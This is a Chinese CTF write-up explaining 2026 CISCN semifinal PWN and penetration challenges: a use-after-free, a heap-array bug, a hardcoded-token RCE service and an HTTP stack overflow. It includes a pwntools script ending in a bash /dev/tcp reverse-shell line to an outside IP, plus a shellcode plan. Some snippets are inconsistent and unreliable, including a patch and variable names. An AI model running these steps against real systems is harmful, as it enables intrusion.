2026 CISCN 半决赛 PWN与渗透类题目技术解析与教学
文档概述
本文档基于对先知社区上发布的《2026ciscn半决赛》技术文章的深度解析,旨在系统性地教学其中涉及的二进制漏洞利用和渗透测试技术。文档涵盖了PWN题目(包括Use-After-Free和堆管理漏洞)以及渗透类题目(包括远程代码执行和栈溢出攻击)。所有技术细节均来源于提供的链接内容,并进行了结构化的整理与阐述。
第一部分:PWN类题目解析
1.1 题目一:catchme (PWN1)
1.1.1 漏洞点定位与分析
根据文档中的IDA Pro反汇编代码片段,可以定位到漏洞发生的核心位置:
.text:0000000000000E05 mov eax, [rbp+var_14]
.text:0000000000000E08 cdqe
.text:0000000000000E0A lea rdx, ds:0[rax*8]
.text:0000000000000E12 lea rax, heaplist
.text:0000000000000E19 mov rax, [rdx+rax]
.text:0000000000000E1D mov rdi, rax ; pt
关键信息提取:
- 全局数组
heaplist的地址为0x202060 - 存在数组索引访问:
mov rdi, [0x202060+rax*8] - 漏洞类型:Use-After-Free (UAF)
1.1.2 漏洞原理
从代码逻辑分析,程序在释放堆块后,未将heaplist数组中对应的指针清空。当后续再次通过相同索引访问该位置时,会引用已释放的内存指针,导致UAF漏洞。
1.1.3 修补方案
文档中提供的修补方法为修改汇编代码:
.text:0000000000000E05 loc_E05:
.text:0000000000000E05 mov eax, [rbp+var_14]
.text:0000000000000E08 lea rdx, heaplist
.text:0000000000000E0F mov rdi, [rdx+rax] ; ptr
.text:0000000000000E13 push rdi
.text:0000000000000E14 call _free
.text:0000000000000E19 pop rdi
.text:0000000000000E1A mov rdi, r9
修补的核心思想是:在调用free释放内存后,应当立即将heaplist数组中对应的指针设置为NULL或进行清理,避免后续被再次使用。
1.2 题目二:broken_manager (PWN2)
1.2.1 漏洞代码分析
文档中给出的反汇编代码显示了漏洞的完整上下文:
mov eax, [rbp+index]
cdqe
lea rdx, ds:0[rax*8]
lea rax, heaplist
mov rdx, [rdx+rax] ; 从heaplist读取堆指针
mov rax, [rbp+var_18]
mov rsi, rdx
mov rdi, rax
call sub_177F ; 调用某个函数处理堆指针
mov eax, [rbp+index]
cdqe
lea rdx, ds:0[rax*4] ; 注意此处是rax*4,而之前是rax*8
lea rax, heaplist ; 错误:这里应该是heapsize数组
mov dword ptr [rdx+rax], 0 ; 将heapsize对应位置清零
jmp short loc_1CE1
1.2.2 漏洞根本原因
- 类型混淆:代码先以8字节为跨度访问
heaplist(存储堆指针),但在清零操作时,却错误地以4字节为跨度访问同一地址空间 - 错误的数据结构访问:清零操作本应针对
heapsize数组,但代码中错误地再次使用了heaplist的地址 - 未正确清理指针:堆指针未被正确清零,可能导致后续的UAF或double free漏洞
1.2.3 正确修补方法
正确的修复应该是将清零操作的对象从heaplist改为heapsize:
lea rax, heapsize ; 改为正确的数组地址
mov dword ptr [rdx+rax], 0
第二部分:渗透类题目解析
2.1 题目一:基础RCE漏洞
2.1.1 漏洞函数分析
文档中给出了关键函数Agent::receiveCommand的反编译代码片段。通过分析可发现:
认证逻辑漏洞:
v15 = recv(*a2, buf, 0xFFFu, 0);
// ... 接收数据 ...
std::string::string(v7, buf, &v10);
if ((unsigned __int8)std::operator!=<char>(v7, "RCE_AUTH_2026"))
{
// 认证失败,抛出异常
}
程序接收到数据后,将其与硬编码的认证令牌"RCE_AUTH_2026"进行比较。如果匹配成功,则继续执行后续逻辑。
2.1.2 利用方法
- 发送认证令牌:
RCE_AUTH_2026 - 填充剩余缓冲区:使用
ljust(0xfff, b"\x00")确保发送完整0xFFF字节 - 执行任意命令:认证通过后发送反弹shell命令
2.1.3 利用脚本
from pwn import*
io = remote('10.11.149.53', 12345)
pd = b'RCE_AUTH_2026'
io.send(pd.ljust(0xfff, b"\x00"))
io.sendline(b'bash -i >& /dev/tcp/10.11.117.37/2333 0>&1')
2.2 题目二:HTTP服务器栈溢出漏洞
2.2.1 漏洞环境
- 目标:一个简单的HTTP服务器程序
- 保护机制:无(无ASLR、NX、Stack Canary等)
- 漏洞类型:栈缓冲区溢出
2.2.2 信息泄露漏洞
漏洞代码:
if (!strcmp(uri, uri) && !strcmp("GET", method))
{
fprintf(stderr, "%p\n", file_name); // 泄露栈地址!
sprintf(file_name, "%s%s", "./public", uri);
// ...
}
当请求路径为./public时,程序会通过fprintf打印file_name的地址,这是一个栈地址,可以用于绕过ASLR(虽然本题无ASLR)。
2.2.3 栈溢出漏洞点
关键代码流程:
- 程序接收HTTP请求并解析URI
- 调用
uri_unescape(uri)对URI进行URL解码 - 解码后的URI存储在栈上的缓冲区中
- 漏洞:
uri是一个全局变量,解码操作可能导致栈溢出
2.2.4 URL解码函数分析
文档中详细给出了uri_unescape函数的实现逻辑:
解码流程:
- 跳过普通字符,直到遇到
%、空白或字符串结束 - 处理
+字符:解码为空格 - 处理
%xx格式:将十六进制转换为字符 - 原地写回解码结果
关键限制:
- 使用
__ctype_b_loc()检查空白字符 - 解码直到遇到空白或字符串结束
- 结果直接写回原缓冲区
2.2.5 编码转换函数
def pct(x):
s = "" # 最终结果字符串
for i in x: # 逐个取出字节
one = "%02x" % i # 把字节转成两位十六进制
s += "%" # 先加一个%
s += one # 再加十六进制数字
return s # 例如返回"%6a%01%5f"
2.2.6 利用条件与约束
-
文件描述符重定向:
dup2(clientfd, 1); // 将标准输出重定向到客户端连接 close(clientfd); // 关闭原始的客户端文件描述符需要恢复标准输入/输出/错误,以便接收命令和输出结果。
-
Shellcode要求:
- 需要恢复标准输入(0)、标准输出(1)、标准错误(2)
- 需要进行文件描述符复制操作
2.2.7 完整利用流程
-
信息泄露阶段:
def create_get_request_raw(path="./public", host="10.11.149.51", port=8000): header = f"GET {path} HTTP/1.1\r\n" header += f"Host: {host}:{port}\r\n" header += "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)\r\n" header += "Accept: */*\r\n" header += "\r\n" return header.encode() p_local = remote("127.0.0.1", 8000) p_local.send(pd) io.recvuntil(b"Accept: */*\r\n") stack = int(io.recvline().strip(), 16) -
溢出攻击阶段:
- 构造包含shellcode的恶意URI
- 使用
pct()函数对shellcode进行URL编码 - 发送特制的GET请求触发溢出
- Shellcode需要包含
dup2系统调用恢复标准输入输出
-
Shellcode功能:
- 通过
dup2系统调用复制文件描述符 - 恢复标准输入、输出、错误
- 执行
execve("/bin/sh", NULL, NULL)
- 通过
第三部分:技术总结与教学要点
3.1 PWN题目通用解题思路
- 静态分析:使用IDA Pro等工具分析二进制文件
- 漏洞识别:查找常见漏洞模式(UAF、堆溢出、类型混淆等)
- 动态调试:结合GDB验证漏洞触发路径
- 利用构造:根据保护机制设计利用方案
- 漏洞修补:理解漏洞根源并提供修复方案
3.2 渗透测试题目关键技术
- 协议分析:理解HTTP、自定义协议等通信格式
- 模糊测试:通过变异输入发现漏洞
- 编码绕过:掌握URL编码、Base64等编码方式的处理
- 信息泄露利用:将信息泄露转化为实际攻击能力
- Shellcode编写:根据环境约束定制Shellcode
3.3 重要安全启示
- 内存管理:释放后必须清空指针,避免UAF
- 类型安全:确保数组访问的类型一致性
- 输入验证:对所有用户输入进行严格的长度和内容检查
- 错误处理:异常情况下的资源清理和安全退出
- 最小权限:避免不必要的权限和功能暴露
第四部分:实战练习建议
- 复现PWN1的UAF漏洞,编写利用脚本
- 分析并修补PWN2的类型混淆漏洞
- 实现渗透题目一的RCE攻击链
- 编写完整的HTTP服务器栈溢出利用程序
- 尝试在开启保护机制(ASLR、NX、Canary)的情况下完成利用
本文档内容完全基于提供的链接材料整理生成,涵盖了2026年CISCN半决赛中PWN和渗透类题目的关键技术细节、漏洞原理、利用方法和修复方案。对于CTF参赛者和安全研究人员具有较高的参考价值和学习意义。